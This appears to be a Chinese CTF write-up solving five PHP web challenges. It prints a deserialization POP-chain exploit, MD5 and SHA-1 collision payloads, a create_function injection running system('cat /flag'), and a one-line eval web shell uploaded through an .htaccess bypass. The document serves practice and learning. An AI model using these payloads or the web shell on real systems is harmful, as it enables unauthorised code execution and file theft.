目录
[[NISACTF 2022]popchains](#[NISACTF 2022]popchains)
[[NISACTF 2022]level-up](#[NISACTF 2022]level-up)
[[HNCTF 2022 Week1]What is Web](#[HNCTF 2022 Week1]What is Web)
[[HNCTF 2022 Week1]Interesting_http](#[HNCTF 2022 Week1]Interesting_http)
[[GXYCTF 2019]BabyUpload](#[GXYCTF 2019]BabyUpload)
[NISACTF 2022]popchains
审计可以构造pop链的代码
php
<php
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
?>
分析可得:
1.发现Try_Work_Hard这个类中,存在文件包含漏洞,需要触发__invoke这个魔术方法
2.去寻找将对象作为函数使用的位置,注意到Make_a_change的_get()方法将自身的effort属性作为函数使用,这里需要触发_get()这个魔术方法
3.发现Road_is_long类中tostring()方法直接调用自身string的page,可将自身的string赋值为Make_a_change类,来触发get方法,_tostring一般在echo处触发,观察发现不存在echo的触发点,但是直接将对象作为字符串拼接,或将其作为一些字符串函数的参数也会触发_tostring
4.观察到Road_is_long类中_wakeup方法将自身page作为preg_match函数的参数,若page为对象,则会触发tostring方法。自此,pop链构造完成。
php
<php
class Road_is_Long{
public $page;
public $string;
}
class Try_Work_Hard{
protected $var="php://filter/convert.base64-encode/resource=/flag";
}
class Make_a_Change{
public $effort;
}
$a=new Make_a_Change();
$a ->effort=new Try_Work_Hard();
$b=new Road_is_Long();
$b ->string= $a;
$c=new Road_is_Long();
$c ->page= $b;
echo urlencode(serialize($c));
?>
传参再解码可得flag
[NISACTF 2022]level-up
资料参考:md5强比较的几种绕过,强碰撞,shal强比较的几种绕过,强碰撞-CSDN博客
1.查看源代码,可得以下内容,看到disallow,想到robots.txt
2.访问这个文件,可得以下内容
3.访问这个php文件,进行代码审计,进行MD5绕过,这里不能使用数组绕过,但因为存在(string)
强制类型转换,所有不能使用数组绕过,只能进行MD5碰撞,得到第三个文件
array1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&array2=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
4.访问第三个文件,发现进行了shal加密,shal加密的与md5的一样,如果是强比较,没有转为string,可以用数组例如 a[]=1&b[]=2来绕过,也可以用强碰撞,如果是强比较,转为string,只能用强碰撞
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
5.进入第四层,关于parse_url可以用///绕过,这里绕过_,用[或者+绕过,得到第五层
- 访问最后一个文件,进行代码审计,发现需要进行get传参
对传参内容的解释:
1.create_function(string a, string b)会创造一个匿名函数,传入的两个参数均为字符串
其中,字符串a中表示函数需要传入的参数,字符串b表示函数中的执行语句。
2.因为create_function
自带eval命令执行,因此我们需要传入$a
为\create_function
;
而对于参数$b
,我们需要让它执行system()函数,用于回显flag,因此传入$b
为}system('cat /flag');//
3.
首先因为正则的关系,我们不能以字母和数字开头,所以我们可以用\
符号开头,它不会影响函数的运行
4.我们用}
开头为的就是进行闭合,这样我们可以进行我们想执行的代码,而后面的//
为的是把原本的}
符号给注释掉,这样我们就执行了system('cat /flag')
函数
<?php
function lambda_1() {
}system('cat /flag');
//}
[HNCTF 2022 Week1]What is Web
1.在源代码中发现base64编码
2.解码可得flag
[HNCTF 2022 Week1]Interesting_http
1.根据题目,进行post传参,并输入相关的命令
2.发现没有什么回显
3.发现方法错了,重新进行传参
4.根据提示输入want=flag,提示你不是用户,这里想到bp抓包
5.将not admin修改为admin,发现回显为"Not location"
6.添加XFF头,得到flag
[GXYCTF 2019]BabyUpload
1.随便上传一个php文件,发现出现以下回显
2.上传一个jpg文件,出现以下内容
3.根据提示,改变一句话木马的格式<%execute(request("shell"))%>,然后在以jpg的格式进行上传,发现上传成功,这里只是测试,但是此木马格式不能连接蚁剑,此步可省略
4.上传成功,但是是jpg格式,于是想到使用.htaccess文件,上传文件,出现以下内容
5.修改类型为jpeg,发现上传成功
6.再上传带有木马的jpg的文件,上传成功
此文件内容为:
<script language=php>@eval($_POST[shell]);</script>
这里需要注意构造payload
7.使用蚁剑连接,在根目录下找到flag
今日总结:
1.知道MD5中的强碰撞和shel强比较
2.了解了create_function()函数的使用,并知道了一种绕过正则新的方式,使用这个\
符号来绕过正则
3.若上传的一句话木马不能是明显的php标志可以改木马为<script language=php>@eval($_POST[shell]);</script>进行绕过